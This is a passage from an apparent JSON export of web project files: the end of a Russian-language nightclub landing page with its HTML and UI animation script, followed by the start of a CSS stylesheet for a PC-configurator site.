class=\"n-tel\">+7 (XXX) XXX-XX-XX</a>\n        <button class=\"burg\" id=\"burg\" aria-label=\"Меню\"><span></span><span></span><span></span></button>\n    </nav>\n\n    <!-- ── HERO ── -->\n    <section id=\"hero\">\n        <div class=\"h-photo\"></div>\n        <div class=\"h-scan\"></div>\n        <div class=\"h-beams\"></div>\n        <div class=\"h-inner\">\n            <div class=\"h-eyebrow\">г.&nbsp;Тандем · Лендинговая, 1 · С&nbsp;2009</div>\n            <h1 class=\"h-title\">МОСКВА</h1>\n            <p class=\"h-loc\">Ночной клуб · Метро Звёздная</p>\n            <div class=\"h-line\"></div>\n            <div class=\"h-btns\">\n                <a href=\"tel:+7XXXXXXXXXX\" class=\"btn-fire\">Позвонить и&nbsp;забронировать</a>\n                <a href=\"#about\" class=\"btn-ghost\">Узнать больше</a>\n            </div>\n        </div>\n        <div class=\"h-tags\">\n            <span class=\"h-tag\">Пт–Сб · 19:00 — 06:00</span>\n            <span class=\"h-tag\">Ср. чек 1500–2500 ₽</span>\n        </div>\n        <div class=\"h-scroll\">\n            <span>Scroll</span>\n            <div class=\"h-arr\">\n                <svg width=\"18\" height=\"10\" viewBox=\"0 0 18 10\" fill=\"none\">\n                    <polyline points=\"1,1 9,9 17,1\" stroke=\"white\" stroke-width=\"1.6\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                </svg>\n                <svg width=\"18\" height=\"10\" viewBox=\"0 0 18 10\" fill=\"none\">\n                    <polyline points=\"1,1 9,9 17,1\" stroke=\"white\" stroke-width=\"1.6\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                </svg>\n            </div>\n        </div>\n    </section>\n\n    <!-- ── TICKER ── -->\n    <div class=\"ticker\" aria-hidden=\"true\">\n        <div class=\"ticker-t\">\n            <span class=\"tk-i\">Пт &amp; Сб</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">19:00 — 06:00</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Большой Танцпол</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Бар 20 метров</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Живое Шоу</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">VIP Зоны</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Скидка 30% до 20:00</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Вход по флаеру бесплатно</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Депозит +1000₽</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Пт &amp; Сб</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">19:00 — 06:00</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Большой Танцпол</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Бар 20 метров</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Живое Шоу</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">VIP Зоны</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Скидка 30% до 20:00</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Вход по флаеру бесплатно</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Депозит +1000₽</span><span class=\"tk-d\"></span>\n            <span class=\"tk-i\">Дискотека.РФ</span><span class=\"tk-d\"></span>\n        </div>\n    </div>\n\n    <!-- ── STATS ── -->\n    <div class=\"stats\">\n        <div class=\"st rv\">\n            <div class=\"st-n\"><span class=\"cnt\" data-to=\"15\">0</span><span class=\"st-u\">+</span></div>\n            <div class=\"st-l\">Лет на рынке</div>\n        </div>\n        <div class=\"st rv d1\">\n            <div class=\"st-n\"><span class=\"cnt\" data-to=\"20\">0</span><span class=\"st-u\">м</span></div>\n            <div class=\"st-l\">Длина барной стойки</div>\n        </div>\n        <div class=\"st rv d2\">\n            <div class=\"st-n\"><span class=\"cnt\" data-to=\"5\">0</span></div>\n            <div class=\"st-l\">Клубов в сети</div>\n        </div>\n        <div class=\"st rv d3\">\n            <div class=\"st-n\"><span class=\"cnt\" data-to=\"1000\">0</span><span class=\"st-u\">+</span></div>\n            <div class=\"st-l\">Гостей каждую ночь</div>\n        </div>\n    </div>\n\n    <!-- ── ABOUT ── -->\n    <section id=\"about\">\n        <div class=\"a-photo rv\">\n            <img src=\"2.png\" alt=\"Клуб Москва\" />\n            <div class=\"a-badge\"><strong>2009</strong><span>Год открытия</span></div>\n        </div>\n        <div class=\"a-text\">\n            <div class=\"sec-tag rv\">О клубе</div>\n            <h2 class=\"a-h rv d1\">Настоящий<br><em>портал</em><br>в праздник</h2>\n            <p class=\"a-p rv d2\">Клуб «Москва» — это место, куда приходят за весельем, драйвом и незабываемыми эмоциями. Самый масштабный клуб на юге Санкт-Петербурга работает с 2009 года и не останавливается.</p>\n            <p class=\"a-p rv d3\">Большой дансфлор с профессиональным светом и звуком, оригинальные танцевальные шоу, двадцатиметровая барная стойка и диваны с панорамным видом — всё для полного погружения.</p>\n            <div class=\"a-q rv d4\">«Попадая в клуб «Москва», вы оставляете все заботы за дверью — <strong>уровень безопасности такой, что можно полностью отдаться отдыху и оторваться по полной.</strong>»</div>\n        </div>\n    </section>\n\n    <!-- ── VIBE ── -->\n    <div id=\"vibe\">\n        <div class=\"v-bg\"></div>\n        <div class=\"v-cnt\">\n            <h2 class=\"v-big rv\">Большой<br><em>Танцпол</em></h2>\n            <p class=\"v-desc rv d2\">Отличный свет и звук, завораживающие танцевальные представления. На сцене в лучах прожекторов — вы почувствуете себя настоящей звездой.</p>\n        </div>\n    </div>\n\n    <!-- ── FEATURES ── -->\n    <section id=\"features\">\n        <div class=\"f-row\">\n            <div class=\"f-item rv\">\n                <div class=\"f-bg\">01</div>\n                <div class=\"f-h\">Танцпол и шоу</div>\n                <p class=\"f-t\">Просторный зал с профессиональным светом и звуком. Живые танцевальные представления каждую ночь — динамично, непредсказуемо, ярко.</p>\n            </div>\n            <div class=\"f-item rv d1\">\n                <div class=\"f-bg\">02</div>\n                <div class=\"f-h\">20-метровый бар</div>\n                <p class=\"f-t\">Двадцатиметровая стойка на дансполе и круглый бар в зале — сотни позиций, быстрое обслуживание, никаких очередей.</p>\n            </div>\n        </div>\n        <div class=\"f-row\" style=\"border-bottom:none\">\n            <div class=\"f-item rv\">\n                <div class=\"f-bg\">03</div>\n                <div class=\"f-h\">VIP-подиумы</div>\n                <p class=\"f-t\">Высокие подиумы с диванами и столиками. Панорамный вид на весь зал — для тех, кто любит праздник с комфортом и приватностью.</p>\n            </div>\n            <div class=\"f-item rv d1\">\n                <div class=\"f-bg\">04</div>\n                <div class=\"f-h\">Безопасность</div>\n                <p class=\"f-t\">Профессиональная охрана 24/7. Полностью отдайтесь отдыху — порядок и безопасность зала обеспечены на высшем уровне.</p>\n            </div>\n        </div>\n    </section>\n\n    <!-- ── KARAOKE ── -->\n    <section id=\"karaoke\">\n        <div class=\"k-left\">\n            <div class=\"sec-tag rv\">Отдельный зал</div>\n            <h2 class=\"k-h rv d1\">Ка<em>рао</em>ке<br>бар</h2>\n            <p class=\"k-p rv d2\">Просторный зал с атмосферой безудержного веселья, панорамным видом на город и профессиональной командой ведущих-вокалистов.</p>\n            <ul class=\"k-list rv d3\">\n                <li class=\"k-li\">\n                    <div class=\"k-dot\"></div>Ведущие и вокалисты — поют и поддерживают всю ночь\n                </li>\n                <li class=\"k-li\">\n                    <div class=\"k-dot\"></div>Круглая барная стойка — танцуй, не прерываясь\n                </li>\n                <li class=\"k-li\">\n                    <div class=\"k-dot\"></div>Сцена со светом — почувствуй себя звездой\n                </li>\n                <li class=\"k-li\">\n                    <div class=\"k-dot\"></div>Панорамный вид на город — особая атмосфера\n                </li>\n            </ul>\n        </div>\n        <div class=\"k-photo rv d2\">\n            <img src=\"3.png\" alt=\"Бар Москва\" />\n            <div class=\"k-stamp\"><strong>KARAOKE</strong><span>Отдельный зал</span></div>\n        </div>\n    </section>\n\n    <!-- ── GALLERY ── -->\n    <section id=\"gallery\">\n        <div class=\"g-head\">\n            <h2 class=\"g-tit rv\"><em>Фото</em><br>галерея</h2>\n            <p class=\"g-sub rv d1\">Атмосфера, которую невозможно передать словами — только прийти и почувствовать</p>\n        </div>\n        <div class=\"g-grid\">\n            <div class=\"gi rv\"><img src=\"1.png\" alt=\"Клуб\" /></div>\n            <div class=\"gi rv d1\"><img src=\"2.png\" alt=\"Зал\" /></div>\n            <div class=\"gi rv d2\"><img src=\"4.png\" alt=\"Шоу\" /></div>\n            <div class=\"gi rv d3\"><img src=\"3.png\" alt=\"Бар\" /></div>\n        </div>\n    </section>\n\n    <!-- ── OFFERS ── -->\n    <section id=\"offers\">\n        <div class=\"o-head\">\n            <div class=\"sec-tag rv\">Постоянные акции</div>\n            <h2 class=\"o-tit rv d1\">Бо<em>ну</em>сы<br>для гостей</h2>\n        </div>\n        <div class=\"o-grid\">\n            <div class=\"o-card rv d1\">\n                <div class=\"o-ghost\">30</div>\n                <div class=\"o-val\">−30%</div>\n                <div class=\"o-name\">Скидка на напитки</div>\n                <p class=\"o-txt\">Все напитки из меню со скидкой 30% для гостей, пришедших до 20:00. Предложение ограничено по времени.</p>\n                <div class=\"o-cond\">Каждую пт и сб · Действует до 20:00</div>\n            </div>\n            <div class=\"o-card rv d2\">\n                <div class=\"o-ghost\">+1K</div>\n                <div class=\"o-val\">+1К₽</div>\n                <div class=\"o-name\">Бонус к депозиту</div>\n                <p class=\"o-txt\">Бронируете стол — получаете 1 000 рублей дополнительно к депозиту. Уютное место с панорамным видом на зал.</p>\n                <div class=\"o-cond\">При бронировании стола · Всегда актуально</div>\n            </div>\n            <div class=\"o-card rv d3\">\n                <div class=\"o-ghost\">0</div>\n                <div class=\"o-val\">0₽</div>\n                <div class=\"o-name\">Вход по флаеру</div>\n                <p class=\"o-txt\">Бесплатный вход до 21:00 по флаеру. Флаер публикуем каждый четверг в соцсетях — следи за лентой.</p>\n                <div class=\"o-cond\">По флаеру до 21:00 · Флаер по четвергам</div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ── CTA ── -->\n    <section id=\"cta\">\n        <div class=\"cta-decor\">МОСКВА</div>\n        <div class=\"cta-body\">\n            <div class=\"cta-ey rv\">Бронирование и контакты</div>\n            <h2 class=\"cta-h rv d1\">Позвони<br>&amp;&nbsp;<em>Приходи</em></h2>\n            <p class=\"cta-sub rv d2\">Хочешь забронировать стол или узнать про ближайшую вечеринку — просто позвони. Ответим быстро и поможем с любым вопросом.</p>\n            <a href=\"tel:+7XXXXXXXXXX\" class=\"cta-ph-wrap rv d3\">\n                <svg class=\"cta-ph-ico\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                    <path d=\"M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6A19.79 19.79 0 012.12 4.18 2 2 0 014.11 2h3a2 2 0 012 1.72c.127.96.361 1.903.7 2.81a2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45c.907.339 1.85.573 2.81.7A2 2 0 0122 16.92z\" />\n                </svg>\n                <span class=\"cta-ph-num\">+7 (XXX) XXX-XX-XX</span>\n            </a>\n            <p class=\"cta-ph-sub rv d4\">Пн–Чт 12:00–22:00 &nbsp;·&nbsp; Пт–Сб 12:00–05:00</p>\n            <div class=\"cta-hrs rv d4\">\n                <div class=\"cta-hb\"><span class=\"cta-hv\">Пт–Сб</span><span class=\"cta-hl\">Открыто</span></div>\n                <div class=\"cta-hb\"><span class=\"cta-hv\">19:00</span><span class=\"cta-hl\">Открытие</span></div>\n                <div class=\"cta-hb\"><span class=\"cta-hv\">06:00</span><span class=\"cta-hl\">Закрытие</span></div>\n                <div class=\"cta-hb\"><span class=\"cta-hv\">18+</span><span class=\"cta-hl\">Возраст</span></div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ── INFO ── -->\n    <section id=\"info\">\n        <div class=\"i-cell rv\">\n            <svg class=\"i-ico\" viewBox=\"0 0 18 18\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\">\n                <circle cx=\"9\" cy=\"7\" r=\"3.5\" />\n                <path d=\"M9 17S2.5 11.5 2.5 7a6.5 6.5 0 0113 0C15.5 11.5 9 17 9 17z\" />\n            </svg>\n            <div class=\"i-lbl\">Адрес</div>\n            <div class=\"i-val\">ул. Лендинговая, д. 1<small>г. Тандем</small></div>\n        </div>\n        <div class=\"i-cell rv d1\">\n            <svg class=\"i-ico\" viewBox=\"0 0 18 18\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\">\n                <circle cx=\"9\" cy=\"13\" r=\"2\" />\n                <path d=\"M3.5 5.5S3.5 2 9 2s5.5 3.5 5.5 3.5L13 8s0-2-4-2-4 2-4 2z\" />\n            </svg>\n            <div class=\"i-lbl\">Метро</div>\n            <div class=\"i-val\">Звёздная<small>5 мин. пешком</small></div>\n        </div>\n        <div class=\"i-cell rv d2\">\n            <svg class=\"i-ico\" viewBox=\"0 0 18 18\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\">\n                <circle cx=\"9\" cy=\"9\" r=\"7\" />\n                <path d=\"M9 4.5V9l3 2\" />\n            </svg>\n            <div class=\"i-lbl\">Режим</div>\n            <div class=\"i-val\">Пт–Сб: 19:00–06:00<small>Дискотека.РФ</small></div>\n        </div>\n        <div class=\"i-cell rv d3\">\n            <svg class=\"i-ico\" viewBox=\"0 0 18 18\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\">\n                <path d=\"M9 2L11 7h5l-4 3 1.5 5L9 12l-4.5 3L6 10 2 7h5z\" />\n            </svg>\n            <div class=\"i-lbl\">Средний чек</div>\n            <div class=\"i-val\">1 500 — 2 500 ₽<small>Один из 5 клубов сети</small></div>\n        </div>\n    </section>\n\n    <!-- ── FOOTER ── -->\n    <footer>\n        <div class=\"f-row\">\n            <div class=\"f-logo\"><b>М</b>ОСКВА</div>\n            <div class=\"f-copy\">© 2009–2026 · Клуб «Москва» · Все права защищены</div>\n            <div class=\"f-net\">Часть сети <b>Дискотека.РФ</b></div>\n            <div class=\"f-18\">18+</div>\n        </div>\n    </footer>\n\n    <script>\n        /* nav scroll */\n        const nav = document.getElementById('nav');\n        window.addEventListener('scroll', () => nav.classList.toggle('scrolled', window.scrollY > 50), { passive: true });\n\n        /* burger */\n        const burg = document.getElementById('burg');\n        const nul = document.getElementById('nul');\n        burg.addEventListener('click', () => { burg.classList.toggle('open'); nul.classList.toggle('open'); });\n        nul.querySelectorAll('a').forEach(a => a.addEventListener('click', () => { burg.classList.remove('open'); nul.classList.remove('open'); }));\n\n        /* hero load */\n        requestAnimationFrame(() => document.getElementById('hero').classList.add('loaded'));\n\n        /* hero parallax */\n        if (innerWidth >= 900) {\n            const ph = document.querySelector('.h-photo');\n            addEventListener('mousemove', e => {\n                const x = (e.clientX / innerWidth - .5) * 16;\n                const y = (e.clientY / innerHeight - .5) * 10;\n                ph.style.transform = `scale(1.06) translate(${x}px,${y}px)`;\n            }, { passive: true });\n        }\n\n        /* reveal */\n        const io = new IntersectionObserver(es => {\n            es.forEach(e => { if (e.isIntersecting) { e.target.classList.add('on'); io.unobserve(e.target); } });\n        }, { threshold: .1 });\n        document.querySelectorAll('.rv').forEach(el => io.observe(el));\n\n        /* counters */\n        function animCnt(el, to, dur = 1300) {\n            const t0 = performance.now();\n            const run = now => {\n                const p = Math.min((now - t0) / dur, 1);\n                el.textContent = Math.round((1 - Math.pow(1 - p, 3)) * to);\n                if (p < 1) requestAnimationFrame(run);\n            };\n            requestAnimationFrame(run);\n        }\n        const cio = new IntersectionObserver(es => {\n            es.forEach(e => { if (e.isIntersecting) { animCnt(e.target, +e.target.dataset.to); cio.unobserve(e.target); } });\n        }, { threshold: .5 });\n        document.querySelectorAll('.cnt').forEach(el => cio.observe(el));\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-pcbuilder/css/style.css",
    "content": "/* ═══════════════════════════════════════════════════════════════\n   CyberPredator — PC Configurator Stylesheet\n   Palette : #040408 (bg) · #00f5a0 (accent) · #7a10ff (secondary)\n   Fonts   : Space Grotesk (UI) · JetBrains Mono (code/specs)\n   ═══════════════════════════════════════════════════════════════ */\n\n/* ─── Google Fonts import ──────────────────────────────────────── */\n@import url(\"https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=JetBrains+Mono:wght@300;400;500;700&display=swap\");\n\n/* ─── CSS Custom Properties ────────────────────────────────────── */\n:root {\n    /* Цвета */\n    --bg: #040408;\n    --bg-2: #07070d;\n    --bg-card: rgba(255, 255, 255, 0.03);\n    --bg-card-h: rgba(255, 255, 255, 0.055);\n    --border: rgba(255, 255, 255, 0.07);\n    --border-h: rgba(0, 245, 160, 0.35);\n\n    --accent: #00f5a0;\n    --accent-dim: rgba(0, 245, 160, 0.12);\n    --accent-glow: rgba(0, 245, 160, 0.4);\n    --secondary: #7a10ff;\n    --danger: #ff4c4c;\n    --warning: #ffaa00;\n    --success: #00f5a0;\n\n    --text-1: #f0f0f4;\n    --text-2: #8b8ba0;\n    --text-3: #5a5a72;\n\n    /* Типографика */\n    --font-ui: \"Space Grotesk\", system-ui, sans-serif;\n    --font-mono: \"JetBrains Mono\", \"Cascadia Code\", \"Fira Code\", monospace;\n\n    /* Размеры */\n    --nav-h: 72px;\n    --gap: clamp(1rem, 2.5vw, 2rem);\n    --r-sm: 8px;\n    --r-md: 14px;\n    --r-lg: 22px;\n    --max-w: 1400px;\n    --sidebar-w: 360px;\n\n    /* Тени */\n    --shadow-card: 0 2px 20px rgba(0, 0, 0, 0.5);\n    --shadow-glow: 0 0 30px rgba(0, 245, 160, 0.15);\n}\n\n/* ─── Custom selection ─────────────────────────────────────────── */\n::selection {\n    background: var(--accent);\n    color: #020408;\n}\n::-moz-selection {\n    background: var(--accent);\n    color: #020408;\n}\n\n/* ─── Reset & base ─────────────────────────────────────────────── */\n*,\n*::before,\n*::after {\n    box-sizing: border-box;\n    margin: 0;\n    padding: 0;\n}\n\nhtml {\n    scroll-behavior: smooth;\n    scroll-padding-top: calc(var(--nav-h) + 16px);\n}\n\nbody {\n    font-family: var(--font-ui);\n    background: var(--bg);\n    color: var(--text-1);\n    line-height: 1.65;\n    -webkit-font-smoothing: antialiased;\n    overflow-x: hidden;\n}\n\n/* Fallback если JS отключён */\n.js-only {\n    display: none;\n}\n.no-js .js-only {\n    display: block;\n}\n\n/* Кастомный скроллбар */\n::-webkit-scrollbar {\n    width: 6px;\n}\n::-webkit-scrollbar-track {\n    background: var(--bg);\n}\n::-webkit-scrollbar-thumb {\n    background: var(--text-3);\n    border-radius: 3px;\n}\n::-webkit-scrollbar-thumb:hover {\n    background: var(--accent);\n}\n\n/* ─── Keyboard focus ────────────────────────────────────────────── */\n:focus-visible {\n    outline: 2px solid var(--accent);\n    outline-offset: 3px;\n    border-radius: var(--r-sm);\n}\n\n/* ─── Scroll animation базовый класс ───────────────────────────── */\n.anim-fade {\n    opacity: 0;\n    transform: translateY(28px);\n    transition:\n        opacity 0.6s ease,\n        transform 0.6s ease;\n}\n.anim-fade.is-visible {\n    opacity: 1;\n    transform: none;\n}\n\n/* ─── Навигация ──────────────────────────────────────────────────── */\n.site-nav {\n    position: fixed;\n    top: 0;\n    left: 0;\n    right: 0;\n    z-index: 100;\n    height: var(--nav-h);\n    display: flex;\n    align-items: center;\n    padding: 0 clamp(1rem, 4vw, 3rem);\n    background: rgba(4, 4, 8, 0.75);\n    backdrop-filter: blur(18px) saturate(1.3);\n    -webkit-backdrop-filter: blur(18px) saturate(1.3);\n    border-bottom: 1px solid var(--border);\n    gap: 2rem;\n}\n\n.nav-logo {\n    font-family: var(--font-mono);\n    font-weight: 700;\n    font-size: clamp(1rem, 2vw, 1.2rem);\n    letter-spacing: 0.04em;\n    color: var(--text-1);\n    text-decoration: none;\n    white-space: nowrap;\n}\n.nav-logo span {\n    color: var(--accent);\n}\n\n.nav-links {\n    display: flex;\n    gap: 1.75rem;\n    list-style: none;\n    margin-left: auto;\n}\n\n.nav-links a {\n    font-size: 0.875rem;\n    font-weight: 500;\n    color: var(--text-2);\n    text-decoration: none;\n    letter-spacing: 0.03em;\n    transition: color 0.2s;\n    position: relative;\n}\n.nav-links a::after {\n    content: \"\";\n    position: absolute;\n    bottom: -3px;\n    left: 0;\n    right: 0;\n    height: 1px;\n    background: var(--accent);\n    transform: scaleX(0);\n    transform-origin: left;\n    transition: transform 0.25s ease;\n}\n.nav-links a:hover {\n    color: var(--text-1);\n}\n.nav-links a:hover::after {\n    transform: scaleX(1);\n}\n\n/* ── Бургер-кнопка ── */\n.burger-btn {\n    display: none;\n    flex-direction: column;\n    justify-content: center;\n    align-items: flex-end;\n    gap: 5px;\n    width: 40px;\n    height: 40px;\n    border: none;\n    background: none;\n    cursor: pointer;\n    padding: 6px;\n    margin-left: auto;\n}\n.burger-btn span {\n    display: block;\n    height: 2px;\n    background: var(--text-1);\n    border-radius: 2px;\n    transition:\n        transform 0.3s ease,\n        opacity 0.3s ease,\n        width 0.3s ease;\n}\n.burger-btn span:nth-child(1) {\n    width: 24px;\n}\n.burger-btn span:nth-child(2) {\n    width: 18px;\n}\n.burger-btn span:nth-child(3) {\n    width: 24px;\n}\n\n.burger-btn.is-open span:nth-child(1) {\n    transform: translateY(7px) rotate(45deg);\n    width: 24px;\n}\n.burger-btn.is-open span:nth-child(2) {\n    opacity: 0;\n    transform: scaleX(0);\n}\n.burger-btn.is-open span:nth-child(3) {\n    transform: translateY(-7px) rotate(-45deg);\n    width: 24px;\n}\n\n/* ── Мобильное меню ── */\n.mobile-nav {\n    position: fixed;\n    inset: 0;\n    z-index: 99;\n    background: rgba(4, 4, 8, 0.97);\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n    align-items: center;\n    gap: 2.5rem;\n    transform: translateY(-100%);\n    transition: transform 0.4s cubic-bezier(0.77, 0, 0.175, 1);\n    pointer-events: none;\n}\n.mobile-nav.is-visible {\n    transform: none;\n    pointer-events: all;\n}\n\n.mobile-nav a {\n    font-size: clamp(1.5rem, 6vw, 2.5rem);\n    font-weight: 700;\n    color: var(--text-1);\n    text-decoration: none;\n    letter-spacing: -0.02em;\n    transition: color 0.2s;\n}\n.mobile-nav a:hover {\n    color: var(--accent);\n}\n\n.nav-overlay {\n    position: fixed;\n    inset: 0;\n    z-index: 98;\n    background: transparent;\n    display: none;\n}\n.nav-overlay.is-visible {\n    display: block;\n}\n\n/* ─── Hero ──────────────────────────────────────────────────────── */\n.hero {\n    position: relative;\n    min-height: 100dvh;\n    display: grid;\n    place-items: center;\n    padding: calc(var(--nav-h) + 4rem) var(--gap) 5rem;\n    overflow: hidden;\n    text-align: center;\n}\n\n#hero-canvas {\n    position: absolute;\n    inset: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.7;\n}\n\n.hero-content {\n    position: relative;\n    z-index: 2;\n    max-width: 820px;\n}\n\n.hero-eyebrow {\n    display: inline-flex;\n    align-items: center;\n    gap: 0.6rem;\n    font-family: var(--font-mono);\n    font-size: clamp(0.65rem, 1.5vw, 0.8rem);\n    font-weight: 500;\n    letter-spacing: 0.18em;\n    text-transform: uppercase;\n    color: var(--accent);\n    background: var(--accent-dim);\n    border: 1px solid rgba(0, 245, 160, 0.2);\n    padding: 0.4rem 1rem;\n    border-radius: 100px;\n    margin-bottom: 1.75rem;\n}\n.hero-eyebrow::before {\n    content: \"\";\n    width: 6px;\n    height: 6px;\n    background: var(--accent);\n    border-radius: 50%;\n    animation: pulse-dot 2s infinite;\n}\n\n@keyframes pulse-dot {\n    0%,\n    100% {\n        opacity: 1;\n        transform: scale(1);\n    }\n    50% {\n        opacity: 0.4;\n        transform: scale(0.6);\n    }\n}\n\n.hero-title {\n    font-size: clamp(2.5rem, 8vw, 6rem);\n    font-weight: 700;\n    line-height: 1.05;\n    letter-spacing: -0.04em;\n    margin-bottom: 1.5rem;\n    overflow-wrap: break-word;\n}\n\n/* Глитч-эффект */\n.glitch {\n    position: relative;\n    display: inline-block;\n    color: var(--text-1);\n}\n.glitch::before,\n.glitch::after {\n    content: attr(data-text);\n    position: absolute;\n    inset: 0;\n    clip-path: polygon(0 0, 100% 0, 100% 45%, 0 45%);\n}\n.glitch::before {\n    color: var(--accent);\n    left: 2px;\n    animation: none;\n}\n.glitch::after {\n    color: var(--secondary);\n    left: -2px;\n    animation: none;\n}\n\n.glitch.glitch-active::before {\n    animation: glitch-top 0.18s steps(1) forwards;\n}\n.glitch.glitch-active::after {\n    clip-path: polygon(0 55%, 100% 55%, 100% 100%, 0 100%);\n    animation: glitch-bot 0.18s steps(1) 0.04s forwards;\n}\n\n@keyframes glitch-top {\n    0% {\n        transform: translate(0);\n        clip-path: polygon(0 0, 100% 0, 100% 45%, 0 45%);\n    }\n    33% {\n        transform: translate(-4px, 1px);\n        clip-path: polygon(0 10%, 100% 10%, 100% 50%, 0 50%);\n    }\n    66% {\n        transform: translate(3px, -1px);\n        clip-path: polygon(0 0, 100% 0, 100% 40%, 0 40%);\n    }\n    100% {\n        transform: translate(0);\n        clip-path: polygon(0 0, 100% 0, 100% 0, 0 0);\n    }\n}\n@keyframes glitch-bot {\n    0% {\n        transform: translate(0);\n    }\n    33% {\n        transform: translate(4px, 1px);\n    }\n    66% {\n        transform: translate(-3px, 0);\n    }\n    100% {\n        transform: translate(0);\n    }\n}\n\n.accent-word {\n    color: var(--accent);\n}\n\n.hero-sub {\n    font-size: clamp(0.95rem, 2vw, 1.15rem);\n    color: var(--text-2);\n    max-width: 560px;\n    margin: 0 auto 2.5rem;\n    line-height: 1.8;\n}\n\n.hero-cta-group {\n    display: flex;\n    flex-wrap: wrap;\n    gap: 1rem;\n    justify-content: center;\n}\n\n/* ─── Кнопки ─────────────────────────────────────────────────────── */\n.btn {\n    display: inline-flex;\n    align-items: center;\n    gap: 0.5rem;\n    font-family: var(--font-ui);\n    font-size: 0.9rem;\n    font-weight: 600;\n    letter-spacing: 0.03em;\n    padding: 0.75rem 1.75rem;\n    border-radius: var(--r-sm);\n    border: none;\n    cursor: pointer;\n    text-decoration: none;\n    transition:\n        transform 0.2s ease,\n        box-shadow 0.2s ease,\n        background 0.2s ease,\n        opacity 0.2s ease;\n    white-space: nowrap;\n    user-select: none;\n}\n.btn:hover {\n    transform: translateY(-2px);\n}\n.btn:active {\n    transform: translateY(0);\n}\n.btn:disabled,\n.btn[aria-disabled=\"true\"] {\n    opacity: 0.3;\n    cursor: not-allowed;\n    transform: none;\n}\n\n.btn-primary {\n    background: var(--accent);\n    color: #020408;\n    box-shadow: 0 4px 20px var(--accent-glow);\n}\n.btn-primary:hover {\n    box-shadow:\n        0 6px 30px var(--accent-glow),\n        0 0 0 1px var(--accent);\n}\n.btn-primary.is-downloaded {\n    background: var(--success);\n}\n\n.btn-secondary {\n    background: transparent;\n    color: var(--text-1);\n    border: 1px solid var(--border-h);\n}\n.btn-secondary:hover {\n    background: var(--accent-dim);\n    border-color: var(--accent);\n    color: var(--accent);\n}\n\n.btn-ghost {\n    background: transparent;\n    color: var(--text-2);\n    border: 1px solid var(--border);\n    font-size: 0.8rem;\n    padding: 0.5rem 1.1rem;\n}\n.btn-ghost:hover {\n    border-color: var(--text-3);\n    color: var(--text-1);\n}\n\n.btn-danger {\n    background: transparent;\n    color: var(--danger);\n    border: 1px solid rgba(255, 76, 76, 0.3);\n}\n.btn-danger:hover {\n    background: rgba(255, 76, 76, 0.08);\n}\n\n/* ─── Секция конструктора ─────────────────────────────────────────── */\n.builder-section {\n    padding: clamp(3rem, 6vw, 6rem) var(--gap);\n}\n\n.section-label {\n    font-family: var(--font-mono);\n    font-size: 0.7rem;\n    font-weight: 500;\n    letter-spacing: 0.2em;\n    text-transform: uppercase;\n    color: var(--accent);\n    margin-bottom: 0.5rem;\n}\n\n.section-title {\n    font-size: clamp(1.6rem, 4vw, 2.4rem);\n    font-weight: 700;\n    letter-spacing: -0.03em;\n    color: var(--text-1);\n    margin-bottom: clamp(2rem, 4vw, 3.5rem);\n}\n\n.builder-layout {\n    display: grid;\n    grid-template-columns: 1fr var(--sidebar-w);\n    gap: var(--gap);\n    max-width: var(--max-w);\n    margin: 0 auto;\n    align-items: start;\n}\n\n/* ─── Шаги конструктора ──────────────────────────────────────────── */\n.builder-steps {\n    display: flex;\n    flex-direction: column;\n    gap: 2.5rem;\n}\n\n.builder-step {\n    scroll-margin-top: calc(var(--nav-h) + 24px);\n}\n\n.step-header {\n    display: flex;\n    align-items: center;\n    gap: 1rem;\n    margin-bottom: 1.25rem;\n}\n\n.step-num {\n    flex-shrink: 0;\n    width: 32px;\n    height: 32px;\n    border-radius: 50%;\n    border: 1px solid var(--border-h);\n    display: grid;\n    place-items: center;\n    font-family: var(--font-mono);\n    font-size: 0.75rem;\n    font-weight: 700;\n    color: var(--accent);\n}\n\n.step-title {\n    font-size: 1.05rem;\n    font-weight: 600;\n    color: var(--text-1);\n}\n.step-hint {\n    font-size: 0.8rem;\n    color: var(--text-3);\n    margin-left: auto;\n}\n\n/* ── Табы брендов ── */\n.brand-tabs {\n    display: flex;\n    gap: 0.5rem;\n    margin-bottom: 1rem;\n}\n\n.brand-tab {\n    font-family: var(--font-mono);\n    font-size: 0.7rem;\n    font-weight: 600;\n    letter-spacing: 0.1em;\n    text-transform: uppercase;\n    padding: 0.4rem 0.9rem;\n    border-radius: 5px;\n    border: 1px solid var(--border);\n    background: none;\n    color: var(--text-2);\n    cursor: pointer;\n    transition: all 0.2s;\n}\n.brand-tab:hover {\n    border-color: var(--text-3);\n    color: 